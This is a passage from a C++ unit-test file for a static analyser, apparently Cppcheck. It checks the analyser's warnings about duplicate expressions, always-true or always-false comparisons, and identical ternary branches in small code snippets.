};\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of 